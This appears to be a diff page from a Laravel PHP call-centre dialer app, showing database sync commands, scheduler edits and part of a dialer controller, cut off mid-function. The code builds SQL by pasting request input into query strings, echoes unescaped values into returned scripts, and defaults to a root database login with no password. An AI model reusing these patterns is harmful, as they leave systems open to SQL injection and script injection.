| 94 | $setstrarr[]="T_BM_INSTRUCTION='$qline->T_BM_INSTRUCTION'"; | ||
| 95 | $setstrarr[]="T_BM_PRODUCT_RECO='$qline->T_BM_PRODUCT_RECO'"; | ||
| 96 | $setstrarr[]="V_LAST_REVIEWED_ON='$qline->V_LAST_REVIEWED_ON'"; | ||
| 97 | $setstrarr[]="D_INS_TIME_STAMP='$qline->D_INS_TIME_STAMP'"; | ||
| 98 | $setstrarr[]="call_id='$qline->call_id'"; | ||
| 99 | $setstrarr[]="agent_comments='$qline->agent_comments'"; | ||
| 100 | $setstrarr[]="user_id='$qline->user_id'"; | ||
| 101 | $setstrarr[]="server_id='$server_id'"; | ||
| 102 | $setstrarr[]="server_ip='$server_ip'"; | ||
| 103 | |||
| 104 | $setstr=implode(",",$setstrarr); | ||
| 105 | DB::connection("conn")->insert(DB::raw("insert into supervisor_recommendation set $setstr")); | ||
| 106 | |||
| 107 | } | ||
| 108 | DB::connection("conn")->disconnect(); | ||
| 109 | |||
| 110 | } | ||
| 111 | |||
| 112 | } | ||
| 113 | |||
| 114 | |||
| 115 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class supervisor_recommendation extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'supervisor_recommendation'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'supervisor_recommendation'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | |||
| 43 | $logdate=strtotime('0 day'); | ||
| 44 | |||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 46 | $server_ip=env('app_ip'); | ||
| 47 | $DU_CRM_SUPERVISOR_COMMENTS = "DU_CRM_SUPERVISOR_COMMENTS"; | ||
| 48 | $central_ip=env('central_ip'); | ||
| 49 | |||
| 50 | $conn = array( | ||
| 51 | 'driver' => 'mysql', | ||
| 52 | 'host' => $central_ip, | ||
| 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 54 | 'username' => env('DB_USERNAME', 'root'), | ||
| 55 | 'password' => env('DB_PASSWORD', ''), | ||
| 56 | 'charset' => 'utf8', | ||
| 57 | 'collation' => 'utf8_unicode_ci', | ||
| 58 | 'prefix' => '', | ||
| 59 | 'options' => array( | ||
| 60 | PDO::ATTR_TIMEOUT => 5, | ||
| 61 | ), | ||
| 62 | ); | ||
| 63 | Config::set("database.connections.conn", $conn); | ||
| 64 | |||
| 65 | |||
| 66 | if(DB::connection("conn")->getDatabaseName()) | ||
| 67 | { | ||
| 68 | |||
| 69 | $serverclist=DB::connection("conn")->select(DB::raw("select id from server_details where server_ip='$server_ip'")); | ||
| 70 | $server_id=$serverclist[0]->id; | ||
| 71 | if($server_id<10){ | ||
| 72 | $server_id="0".$server_id; | ||
| 73 | } | ||
| 74 | |||
| 75 | echo ",".$server_id; | ||
| 76 | |||
| 77 | $maxid=DB::select(DB::raw("SELECT max(central_id) as maxid from $DU_CRM_SUPERVISOR_COMMENTS")); | ||
| 78 | |||
| 79 | $maxids=$maxid[0]->maxid; | ||
| 80 | print_r($maxids); | ||
| 81 | $qlist=DB::connection("conn")->select(DB::raw("SELECT * from DU_CRM_SUPERVISOR_COMMENTS WHERE id>'$maxids' and server_ip='$server_ip'")); | ||
| 82 | |||
| 83 | $userarr=array(); | ||
| 84 | foreach($qlist as $qline) | ||
| 85 | { | ||
| 86 | |||
| 87 | $setstrarr=array(); | ||
| 88 | |||
| 89 | $setstrarr[]="central_id='$qline->id'"; | ||
| 90 | $setstrarr[]="V_CUSTID='$qline->V_CUSTID'"; | ||
| 91 | $setstrarr[]="V_GROUPID='$qline->V_GROUPID'"; | ||
| 92 | $setstrarr[]="T_BM_INSTRUCTION='$qline->T_BM_INSTRUCTION'"; | ||
| 93 | $setstrarr[]="T_BM_PRODUCT_RECO='$qline->T_BM_PRODUCT_RECO'"; | ||
| 94 | $setstrarr[]="V_LAST_REVIEWED_ON='$qline->V_LAST_REVIEWED_ON'"; | ||
| 95 | $setstrarr[]="D_INS_TIME_STAMP='$qline->D_INS_TIME_STAMP'"; | ||
| 96 | |||
| 97 | $setstr=implode(",",$setstrarr); | ||
| 98 | print_r($setstr); | ||
| 99 | DB::insert(DB::raw("insert into $DU_CRM_SUPERVISOR_COMMENTS set $setstr")); | ||
| 100 | |||
| 101 | } | ||
| 102 | DB::connection("conn")->disconnect(); | ||
| 103 | |||
| 104 | } | ||
| 105 | |||
| 106 | } | ||
| 107 | |||
| 108 | |||
| 109 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | //use Mail; | ||
| 5 | use DB; | ||
| 6 | use Config; | ||
| 7 | use Input; | ||
| 8 | |||
| 9 | use Schema; | ||
| 10 | use PDO; | ||
| 11 | |||
| 12 | |||
| 13 | |||
| 14 | |||
| 15 | use Illuminate\Database\Schema\Blueprint; | ||
| 16 | |||
| 17 | class table_create extends Command { | ||
| 18 | |||
| 19 | /** | ||
| 20 | * The console command name. | ||
| 21 | * | ||
| 22 | * @var string | ||
| 23 | */ | ||
| 24 | protected $signature = 'table_create'; | ||
| 25 | |||
| 26 | /** | ||
| 27 | * The console command description. | ||
| 28 | * | ||
| 29 | * @var string | ||
| 30 | */ | ||
| 31 | protected $description = 'table_create'; | ||
| 32 | |||
| 33 | /** | ||
| 34 | * Execute the console command. | ||
| 35 | * | ||
| 36 | * @return mixed | ||
| 37 | */ | ||
| 38 | public function handle() | ||
| 39 | { | ||
| 40 | $date=date('F_Y'); | ||
| 41 | echo $date; | ||
| 42 | echo 'Start'; | ||
| 43 | |||
| 44 | for($i=1;$i<=31;$i++) | ||
| 45 | { | ||
| 46 | $table_name = "full_remark_".$i.$date; | ||
| 47 | echo $table_name; | ||
| 48 | DB::statement("CREATE TABLE $table_name (id int(11) NOT NULL,call_id int(11) NOT NULL,fullremark varchar(5000) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4"); | ||
| 49 | |||
| 50 | DB::statement("ALTER TABLE $table_name ADD PRIMARY KEY (id)"); | ||
| 51 | |||
| 52 | DB::statement("ALTER TABLE $table_name MODIFY id int(11) NOT NULL AUTO_INCREMENT"); | ||
| 53 | |||
| 54 | } | ||
| 55 | |||
| 56 | |||
| 57 | echo 'End'; | ||
| 58 | } | ||
| 59 | } | ||
| 60 | |||
| 61 | |||
| 62 | |||
| 63 |
application/app/Console/Kernel.php
100755 → 100644
| ... | @@ -32,10 +32,17 @@ protected $commands = [ | ... | @@ -32,10 +32,17 @@ protected $commands = [ |
| 32 | 'App\Console\Commands\lead_form_details', | 32 | 'App\Console\Commands\lead_form_details', |
| 33 | 'App\Console\Commands\full_remark_details', | 33 | 'App\Console\Commands\full_remark_details', |
| 34 | 'App\Console\Commands\recording_reconcilation', | 34 | 'App\Console\Commands\recording_reconcilation', |
| 35 | 'App\Console\Commands\recording_reconcilation_metadata', | ||
| 35 | 'App\Console\Commands\dailyupload_calllog', | 36 | 'App\Console\Commands\dailyupload_calllog', |
| 36 | 'App\Console\Commands\dailyupload_questionaire', | 37 | 'App\Console\Commands\dailyupload_questionaire', |
| 37 | 'App\Console\Commands\relationship_data', | 38 | 'App\Console\Commands\relationship_data', |
| 38 | 'App\Console\Commands\relationship_tag', | 39 | 'App\Console\Commands\relationship_tag', |
| 40 | 'App\Console\Commands\supervisor_agent_rec', | ||
| 41 | 'App\Console\Commands\supervisor_recommendation', | ||
| 42 | 'App\Console\Commands\rlppb_details', | ||
| 43 | 'App\Console\Commands\question_tree', | ||
| 44 | 'App\Console\Commands\table_create', | ||
| 45 | 'App\Console\Commands\calllog', | ||
| 39 | ]; | 46 | ]; |
| 40 | 47 | ||
| 41 | /** | 48 | /** |
| ... | @@ -49,6 +56,13 @@ protected function schedule(Schedule $schedule) | ... | @@ -49,6 +56,13 @@ protected function schedule(Schedule $schedule) |
| 49 | $schedule->command('KstychDaily')->daily()->withoutOverlapping(); | 56 | $schedule->command('KstychDaily')->daily()->withoutOverlapping(); |
| 50 | //$schedule->command('bulkServerUpload')->everyMinute()->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); | 57 | //$schedule->command('bulkServerUpload')->everyMinute()->appendOutputTo(storage_path()."/reason/bulkserver.txt")->withoutOverlapping(); |
| 51 | 58 | ||
| 59 | //$schedule->command('relationship_tag')->everyMinute()->appendOutputTo(storage_path()."/reason/relationship_tag.txt")->withoutOverlapping(); | ||
| 60 | //$schedule->command('calllog')->everyMinute()->appendOutputTo(storage_path()."/reason/calllog.txt")->withoutOverlapping(); | ||
| 61 | //$schedule->command('rlppb_details')->everyMinute()->appendOutputTo(storage_path()."/reason/rlppb_details.txt")->withoutOverlapping(); | ||
| 62 | |||
| 63 | //$schedule->command('supervisor_agent_rec')->everyMinute()->appendOutputTo(storage_path()."/reason/supervisor_agent_rec.txt")->withoutOverlapping(); | ||
| 64 | //$schedule->command('supervisor_recommendation')->everyMinute()->appendOutputTo(storage_path()."/reason/supervisor_recommendation.txt")->withoutOverlapping(); | ||
| 65 | //$schedule->command('question_tree')->everyMinute()->appendOutputTo(storage_path()."/reason/question_tree.txt")->withoutOverlapping(); | ||
| 52 | 66 | ||
| 53 | $schedule->command('Userlog_data')->dailyAt('01:10')->appendOutputTo(storage_path()."/reason/Userlog_data.txt")->withoutOverlapping(); | 67 | $schedule->command('Userlog_data')->dailyAt('01:10')->appendOutputTo(storage_path()."/reason/Userlog_data.txt")->withoutOverlapping(); |
| 54 | 68 | ||
| ... | @@ -70,10 +84,12 @@ protected function schedule(Schedule $schedule) | ... | @@ -70,10 +84,12 @@ protected function schedule(Schedule $schedule) |
| 70 | $schedule->command('CreportEight')->everyFiveMinutes()->appendOutputTo(storage_path()."/reason/CreportEight.txt")->withoutOverlapping(); | 84 | $schedule->command('CreportEight')->everyFiveMinutes()->appendOutputTo(storage_path()."/reason/CreportEight.txt")->withoutOverlapping(); |
| 71 | 85 | ||
| 72 | 86 | ||
| 73 | //$schedule->command('CreportEight')->hourly()->appendOutputTo(storage_path()."/reason/CreportEight.txt")->withoutOverlapping(); | 87 | //$schedule->command('CreportEight')->everyMinute()->appendOutputTo(storage_path()."/reason/CreportEight.txt")->withoutOverlapping(); |
| 74 | $schedule->command('questionnaire_details')->hourly()->appendOutputTo(storage_path()."/reason/questionnaire_details.txt")->withoutOverlapping(); | 88 | $schedule->command('questionnaire_details')->hourly()->appendOutputTo(storage_path()."/reason/questionnaire_details.txt")->withoutOverlapping(); |
| 89 | $schedule->command('InsertCrmArchive')->hourly()->appendOutputTo(storage_path()."/reason/InsertCrmArchive.txt")->withoutOverlapping(); | ||
| 90 | |||
| 75 | 91 | ||
| 76 | $schedule->command('InsertCrmArchive')->hourly()->withoutOverlapping(); | 92 | //$schedule->command('InsertCrmArchive')->everyMinute()->appendOutputTo(storage_path()."/reason/InsertCrmArchive.txt")->withoutOverlapping(); |
| 77 | $schedule->command('DeleteCrmcalls')->hourly()->withoutOverlapping(); | 93 | $schedule->command('DeleteCrmcalls')->hourly()->withoutOverlapping(); |
| 78 | 94 | ||
| 79 | $schedule->command('DailyLogout')->dailyAt('14:30')->withoutOverlapping(); | 95 | $schedule->command('DailyLogout')->dailyAt('14:30')->withoutOverlapping(); |
| ... | @@ -81,6 +97,7 @@ protected function schedule(Schedule $schedule) | ... | @@ -81,6 +97,7 @@ protected function schedule(Schedule $schedule) |
| 81 | $schedule->command('lead_form_details')->everyTenMinutes()->appendOutputTo(storage_path()."/reason/lead_form_details.txt")->withoutOverlapping(); | 97 | $schedule->command('lead_form_details')->everyTenMinutes()->appendOutputTo(storage_path()."/reason/lead_form_details.txt")->withoutOverlapping(); |
| 82 | $schedule->command('records_details')->dailyAt('17:45')->appendOutputTo(storage_path()."/reason/records_details.txt")->withoutOverlapping(); | 98 | $schedule->command('records_details')->dailyAt('17:45')->appendOutputTo(storage_path()."/reason/records_details.txt")->withoutOverlapping(); |
| 83 | //$schedule->command('recording_reconcilation')->everyMinute()->appendOutputTo(storage_path()."/reason/recording_reconcilation.txt")->withoutOverlapping(); | 99 | //$schedule->command('recording_reconcilation')->everyMinute()->appendOutputTo(storage_path()."/reason/recording_reconcilation.txt")->withoutOverlapping(); |
| 100 | //$schedule->command('recording_reconcilation_metadata')->everyMinute()->appendOutputTo(storage_path()."/reason/recording_reconcilation_metadata.txt")->withoutOverlapping(); | ||
| 84 | 101 | ||
| 85 | //$schedule->command('lead_form_details')->everyMinute()->appendOutputTo(storage_path()."/reason/lead_form_details.txt")->withoutOverlapping(); | 102 | //$schedule->command('lead_form_details')->everyMinute()->appendOutputTo(storage_path()."/reason/lead_form_details.txt")->withoutOverlapping(); |
| 86 | 103 | ||
| ... | @@ -91,6 +108,7 @@ protected function schedule(Schedule $schedule) | ... | @@ -91,6 +108,7 @@ protected function schedule(Schedule $schedule) |
| 91 | //$schedule->command('questionnaire_details')->everyMinute()->appendOutputTo(storage_path()."/reason/questionnaire_details.txt")->withoutOverlapping(); | 108 | //$schedule->command('questionnaire_details')->everyMinute()->appendOutputTo(storage_path()."/reason/questionnaire_details.txt")->withoutOverlapping(); |
| 92 | 109 | ||
| 93 | //$schedule->command('relationship_data')->everyMinute()->appendOutputTo(storage_path()."/reason/relationship_data.txt")->withoutOverlapping(); | 110 | //$schedule->command('relationship_data')->everyMinute()->appendOutputTo(storage_path()."/reason/relationship_data.txt")->withoutOverlapping(); |
| 111 | //$schedule->command('table_create')->everyMinute()->appendOutputTo(storage_path()."/reason/table_create.txt")->withoutOverlapping(); | ||
| 94 | 112 | ||
| 95 | } | 113 | } |
| 96 | 114 | ... | ... |
application/app/Events/Event.php
100755 → 100644
File mode changed
application/app/Exceptions/Handler.php
100755 → 100644
File mode changed
application/app/Http/230317_routes.php
100755 → 100644
File mode changed
application/app/Http/Controllers/.DialerController.php.swo
100755 → 100644
No preview for this file type
application/app/Http/Controllers/.DialerController.php.swp
100755 → 100644
No preview for this file type
application/app/Http/Controllers/.NotesController.php.swp
100755 → 100644
No preview for this file type
| 1 | <?php namespace App\Http\Controllers; | ||
| 2 | |||
| 3 | use Auth; | ||
| 4 | use Input; | ||
| 5 | use Response; | ||
| 6 | use App\Models\Group; | ||
| 7 | use App\Models\Master; | ||
| 8 | use App\Models\Record; | ||
| 9 | use App\Models\CRMCall; | ||
| 10 | use App\Models\CRMCallArchive; | ||
| 11 | use App\Models\CRM; | ||
| 12 | use App\Models\CRMCampaign; | ||
| 13 | use App\Models\CRMList; | ||
| 14 | use App\Jobs\KHRMSLib; | ||
| 15 | use App\Models\Sipid; | ||
| 16 | use App\Models\Dialline; | ||
| 17 | use App\Models\UserLog; | ||
| 18 | use App\Models\Kqueue; | ||
| 19 | use DB; | ||
| 20 | use Log; | ||
| 21 | use Session; | ||
| 22 | $client=''; | ||
| 23 | |||
| 24 | class DialerController extends Controller { | ||
| 25 | |||
| 26 | public function __construct() | ||
| 27 | { | ||
| 28 | $this->middleware('auth'); | ||
| 29 | $this->middleware('module_access'); | ||
| 30 | |||
| 31 | } | ||
| 32 | |||
| 33 | public function index() | ||
| 34 | { | ||
| 35 | |||
| 36 | } | ||
| 37 | public function create() | ||
| 38 | { | ||
| 39 | |||
| 40 | } | ||
| 41 | public function store() | ||
| 42 | { | ||
| 43 | $action=Input::get('action'); | ||
| 44 | $kstychCall=json_decode(html_entity_decode(Input::get("kstychCall"),ENT_QUOTES, "UTF-8"),true); | ||
| 45 | $kstychDialer=json_decode(html_entity_decode(Input::get("kstychDialer"),ENT_QUOTES, "UTF-8"),true); | ||
| 46 | |||
| 47 | if($action=="previewnext") | ||
| 48 | { | ||
| 49 | $wakka = new KHRMSLib(); | ||
| 50 | |||
| 51 | $roclientstr=array(); | ||
| 52 | $oclientlst=$wakka->clientsReadAccess(); | ||
| 53 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!=""){$roclientstr[]="'$tclnt'";} | ||
| 54 | |||
| 55 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 56 | |||
| 57 | $users=array();$searchresult=""; | ||
| 58 | if(!empty($kstychCall["previewcrmid"]))$users=$wakka->getPersons("id='".$kstychCall["previewcrmid"]."' $roclientstr limit 1"); | ||
| 59 | else $users=$this->getCallSequencing(1); | ||
| 60 | |||
| 61 | if(!empty($users)) | ||
| 62 | { | ||
| 63 | $searchresult.="<div id=divworking></div><div style='clear:both'></div><script>kSetDData('C','previewcrmid','".$users[0]['id']."');showRecruit(\"".$users[0]['id']."\");</script>"; | ||
| 64 | |||
| 65 | $searchresult.="<div id=internalid_matchlist></div><script> | ||
| 66 | doAjax('record?action=quicksearch','maintextsearch_1_txt=".$users[0]['clientinternalid']."&maintextsearch_1_span=InternalID','internalid_matchlist','searchMutex', 'searchxhr','POST',function(retstr){ | ||
| 67 | if(retstr.responseText.indexOf('No Records Found!')>-1)$('#internalid_matchlist').html(''); | ||
| 68 | }); | ||
| 69 | </script>"; | ||
| 70 | } | ||
| 71 | else | ||
| 72 | { | ||
| 73 | $searchresult.="<div id=internalid_matchlist></div><script>createSearchRecordDiv('internalid_matchlist');</script>"; | ||
| 74 | } | ||
| 75 | |||
| 76 | |||
| 77 | return Response::make($searchresult); | ||
| 78 | } | ||
| 79 | |||
| 80 | if($action=="newcall") | ||
| 81 | { | ||
| 82 | $wakka = new KHRMSLib(); | ||
| 83 | |||
| 84 | $roclientstr=array(); | ||
| 85 | $oclientlst=$wakka->clientsReadAccess(); | ||
| 86 | foreach($oclientlst as $tclnt)if($tclnt!=""){$roclientstr[]="'$tclnt'";} | ||
| 87 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 88 | |||
| 89 | $users=array();$callnumber=$kstychCall['callnumber']; | ||
| 90 | if($kstychDialer['mDialerState']=="Manual") | ||
| 91 | { | ||
| 92 | $tusers=$wakka->getPersonIDs("mobile like '%".substr($callnumber,-10)."' "); | ||
| 93 | $uids=array();foreach($tusers as $tuser)if(isset($tuser['id']))$uids[]=$tuser['id']+0; | ||
| 94 | $idstr=implode(",",$uids);if($idstr=="")$idstr="''"; | ||
| 95 | |||
| 96 | $users=$wakka->getPersons("mobile like '%$callnumber' and id in ($idstr) $roclientstr"); | ||
| 97 | |||
| 98 | // if(!$users) | ||
| 99 | // { | ||
| 100 | // for($i=1;$i<=10;$i++) | ||
| 101 | // { | ||
| 102 | // $users=$wakka->getPersons("altphone$i = '$callnumber' $roclientstr"); | ||
| 103 | // if(!empty($users))break; | ||
| 104 | // } | ||
| 105 | // } | ||
| 106 | |||
| 107 | if(!$users) | ||
| 108 | { | ||
| 109 | $users=array(0=>array('id'=>0,'peopledata'=> serialize(array('client'=>'','department'=>'','mobile'=>$callnumber)))); | ||
| 110 | } | ||
| 111 | } | ||
| 112 | |||
| 113 | if($kstychDialer['mDialerState']=="DialNext"||$kstychDialer['mDialerState']=="Progressive") | ||
| 114 | { | ||
| 115 | if($kstychCall['previewcrmid']!="")$users=$wakka->getPersons("id='".$kstychCall['previewcrmid']."' $roclientstr limit 1"); | ||
| 116 | else if($kstychCall['callnumber']!="")$users=$wakka->getPersons("mobile='".$kstychCall['callnumber']."' $roclientstr limit 1"); | ||
| 117 | else $users=$this->getCallSequencing(1); | ||
| 118 | } | ||
| 119 | |||
| 120 | $searchresult='<div style="clear:both"></div><div id=divworking></div><div style="clear:both"></div>'; | ||
| 121 | if(!empty($users)) | ||
| 122 | { | ||
| 123 | if(sizeof($users)>=1) | ||
| 124 | { | ||
| 125 | $ppldata=unserialize($users[0]['peopledata']); | ||
| 126 | if(!isset($ppldata['client']))$ppldata['client']=""; | ||
| 127 | if(!isset($ppldata['department']))$ppldata['department']=""; | ||
| 128 | |||
| 129 | if($callnumber==""||intval($callnumber)<=0)$callnumber=$ppldata['mobile']; | ||
| 130 | if($callnumber!=""&&intval($callnumber)>0) | ||
| 131 | { | ||
| 132 | $mastersdata=$wakka->getCompanyMaster($ppldata['client']); | ||
| 133 | $callerid="";if(!empty($mastersdata["DialerDID"]))$callerid=$mastersdata["DialerDID"]; | ||
| 134 | if($callerid=="")$callerid=Auth::user()->exten; | ||
| 135 | |||
| 136 | $calleridarr=explode(":",$callerid);$dspan="1"; | ||
| 137 | if(isset($calleridarr[1])){$callerid=$calleridarr[0];$dspan=$calleridarr[1];} | ||
| 138 | |||
| 139 | //see if user is online on this sipid | ||
| 140 | $sipid=Sipid::find($kstychDialer['phone']); | ||
| 141 | if($sipid&&$sipid->user==Auth::user()->id&&$sipid->status==1) | ||
| 142 | { | ||
| 143 | |||
| 144 | $dialline=Dialline::where("status","=","Free")->where("enabled","=","1"); | ||
| 145 | if($dspan!="")$dialline=$dialline->where('dspan','=',$dspan); | ||
| 146 | $dialline=$dialline->orderBy('updated_at','ASC')->first(); | ||
| 147 | |||
| 148 | if($dialline) | ||
| 149 | { | ||
| 150 | $dialline->status="Blocked"; | ||
| 151 | $dialline->save(); | ||
| 152 | |||
| 153 | $nowts=microtime(true)*1000; | ||
| 154 | |||
| 155 | //get ts_Wait | ||
| 156 | $userlog=UserLog::where('user_id','=',Auth::user()->id)->orderBy("id","DESC")->first(); | ||
| 157 | $ts_Wait=$userlog->getLastTs($sipid->id,$nowts); | ||
| 158 | $userlog->save(); | ||
| 159 | |||
| 160 | //start the call log | ||
| 161 | $crmcall=new CRMCall(); | ||
| 162 | $crmcall->number=$callnumber; | ||
| 163 | $crmcall->user_id=Auth::user()->id; | ||
| 164 | $crmcall->sipid_id=$sipid->id; | ||
| 165 | $crmcall->crm_id=$users[0]['id']; | ||
| 166 | $crmcall->client=$ppldata['client']; | ||
| 167 | $crmcall->department=$ppldata['department']; | ||
| 168 | $crmcall->state='New'; | ||
| 169 | $crmcall->type=$kstychDialer['mDialerState']; | ||
| 170 | $crmcall->dialline_id=$dialline->id; | ||
| 171 | |||
| 172 | $crmcall->setTs('ts_Wait',$ts_Wait); | ||
| 173 | $crmcall->setTs('ts_Call',$nowts); | ||
| 174 | |||
| 175 | $crmcall->did=$callerid; | ||
| 176 | |||
| 177 | $tdata=array(); | ||
| 178 | $crmcall->data=json_encode($tdata); | ||
| 179 | $crmcall->save(); | ||
| 180 | |||
| 181 | //$wakka->setPersonKey($crmcall->crm_id,"dialer_lastcall",date("Y-m-d H:i:s")); | ||
| 182 | |||
| 183 | //start actual calls | ||
| 184 | $ppldata['dialer_lastcall']=date("Y-m-d H:i:s"); | ||
| 185 | $preppldata['peopledata'] = serialize($ppldata); | ||
| 186 | $wakka->setPerson($ppldata['peopledata']['id'],$preppldata); | ||
| 187 | |||
| 188 | $newqueue=new Kqueue(); | ||
| 189 | $newqueue->userToConf($sipid); | ||
| 190 | $newqueue=new Kqueue(); | ||
| 191 | $newqueue->custToConf($sipid,$callnumber,$callerid,$crmcall,$dialline); | ||
| 192 | |||
| 193 | |||
| 194 | $searchresult.="<script>kSetDData('C','callid','".$crmcall->id."');kSetDData('C','crmid','".$users[0]['id']."');kSetDData('C','callnumber','$callnumber');showRecruit(\"".$users[0]['id']."\");</script>"; | ||
| 195 | |||
| 196 | |||
| 197 | |||
| 198 | $searchresult.="<div id=internalid_matchlist></div><script> | ||
| 199 | doAjax('record?action=quicksearch','maintextsearch_1_txt=".$users[0]['clientinternalid']."&maintextsearch_1_span=InternalID','internalid_matchlist','searchMutex', 'searchxhr','POST',function(retstr){ | ||
| 200 | if(retstr.responseText.indexOf('No Records Found!')>-1)$('#internalid_matchlist').html(''); | ||
| 201 | }); | ||
| 202 | </script>"; | ||
| 203 | |||
| 204 | |||
| 205 | return Response::make($searchresult); | ||
| 206 | } | ||
| 207 | else | ||
| 208 | { | ||
| 209 | return Response::make("<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','No Lines Free to Dial!');</script>"); | ||
| 210 | } | ||
| 211 | } | ||
| 212 | else | ||
| 213 | { | ||
| 214 | return Response::make("<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','You Are Not Connected!');</script>"); | ||
| 215 | } | ||
| 216 | } | ||
| 217 | else | ||
| 218 | { | ||
| 219 | $wakka->setPersonKey($users[0]['id'],"status","NoNumber"); | ||
| 220 | |||
| 221 | return Response::make($searchresult."<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','No Number in Record!');</script>"); | ||
| 222 | } | ||
| 223 | } | ||
| 224 | else | ||
| 225 | { | ||
| 226 | return Response::make($searchresult."<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','Multiple Records Found!');createSearchRecordDiv('dialersearchbox');</script>"); | ||
| 227 | } | ||
| 228 | } | ||
| 229 | else return Response::make($searchresult."<script>kstychCall['crmid']=0;kSetDData('C','previewcrmid','');simpleNotification('error','topRight','No Records Found!');createSearchRecordDiv('dialersearchbox');</script>"); | ||
| 230 | } | ||
| 231 | |||
| 232 | if($action=="addconfcall") | ||
| 233 | { | ||
| 234 | $retstr=""; | ||
| 235 | $callnumber=Input::get("confnumber"); | ||
| 236 | $callerid=""; | ||
| 237 | |||
| 238 | //see if user is online on this sipid | ||
| 239 | $sipid=Sipid::find($kstychDialer['phone']); | ||
| 240 | if($sipid&&$sipid->user==Auth::user()->id&&$sipid->status==1) | ||
| 241 | { | ||
| 242 | $oldcrmcall=CRMCall::find($kstychCall['callid']); | ||
| 243 | if($oldcrmcall) | ||
| 244 | { | ||
| 245 | $olddialline=Dialline::find($oldcrmcall->dialline_id); | ||
| 246 | $dspan="1";if($olddialline)$dspan=$olddialline->dspan; | ||
| 247 | |||
| 248 | $dialline=Dialline::where("status","=","Free")->where("enabled","=","1"); | ||
| 249 | if($dspan!="")$dialline=$dialline->where('dspan','=',$dspan); | ||
| 250 | $dialline=$dialline->orderBy('updated_at','ASC')->first(); | ||
| 251 | |||
| 252 | if($dialline) | ||
| 253 | { | ||
| 254 | |||
| 255 | $callerid=$oldcrmcall->did; | ||
| 256 | |||
| 257 | $dialline->status="Blocked"; | ||
| 258 | $dialline->save(); | ||
| 259 | |||
| 260 | $nowts=microtime(true)*1000; | ||
| 261 | |||
| 262 | //start the call log | ||
| 263 | $crmcall=new CRMCall(); | ||
| 264 | $crmcall->number=$callnumber; | ||
| 265 | $crmcall->user_id=Auth::user()->id; | ||
| 266 | $crmcall->sipid_id=$sipid->id; | ||
| 267 | $crmcall->crm_id=$oldcrmcall->crm_id; | ||
| 268 | $crmcall->client=$oldcrmcall->client; | ||
| 269 | $crmcall->department=$oldcrmcall->department; | ||
| 270 | $crmcall->state='New'; | ||
| 271 | $crmcall->userstatus='Conference'; | ||
| 272 | $crmcall->usersubstatus='Conference'; | ||
| 273 | $crmcall->type='Conference'; | ||
| 274 | $crmcall->dialline_id=$dialline->id; | ||
| 275 | |||
| 276 | $crmcall->setTs('ts_Wait',$nowts); | ||
| 277 | $crmcall->setTs('ts_Call',$nowts); | ||
| 278 | |||
| 279 | $crmcall->did=$callerid; | ||
| 280 | |||
| 281 | $tdata=array(); | ||
| 282 | $crmcall->data=json_encode($tdata); | ||
| 283 | $crmcall->save(); | ||
| 284 | |||
| 285 | |||
| 286 | |||
| 287 | //start actual calls | ||
| 288 | $newqueue=new Kqueue(); | ||
| 289 | $newqueue->userToConf($sipid); | ||
| 290 | $newqueue=new Kqueue(); | ||
| 291 | $newqueue->custToConf($sipid,$callnumber,$callerid,$crmcall,$dialline); | ||
| 292 | |||
| 293 | $retstr=$crmcall->id; | ||
| 294 | } | ||
| 295 | else | ||
| 296 | { | ||
| 297 | $retstr="Error : No Lines Free to Dial!"; | ||
| 298 | } | ||
| 299 | } | ||
| 300 | else | ||
| 301 | { | ||
| 302 | $retstr="Error : No calls to conference found!"; | ||
| 303 | } | ||
| 304 | } | ||
| 305 | else | ||
| 306 | { | ||
| 307 | $retstr="Error : You Are Not Connected!"; | ||
| 308 | } | ||
| 309 | |||
| 310 | return Response::make($retstr); | ||
| 311 | } | ||
| 312 | |||
| 313 | if($action=="hangupall") | ||
| 314 | { | ||
| 315 | $res=0; | ||
| 316 | $callid=intval($kstychCall['callid'])+0; | ||
| 317 | $crmcall=CRMCall::find($callid); | ||
| 318 | if($crmcall&&$crmcall->user_id==Auth::user()->id) | ||
| 319 | { | ||
| 320 | if($crmcall->state=='New'&&time()-strtotime($crmcall->created_at)<=3) | ||
| 321 | { | ||
| 322 | return Response::make("//Error : Dialstate is $crmcall->state"); | ||
| 323 | } | ||
| 324 | else | ||
| 325 | { | ||
| 326 | $dialline=Dialline::find($crmcall->dialline_id); | ||
| 327 | if($dialline) | ||
| 328 | { | ||
| 329 | if($crmcall->state!='Hangup') | ||
| 330 | { | ||
| 331 | $crmcall->hsource='User'; | ||
| 332 | $crmcall->save(); | ||
| 333 | } | ||
| 334 | |||
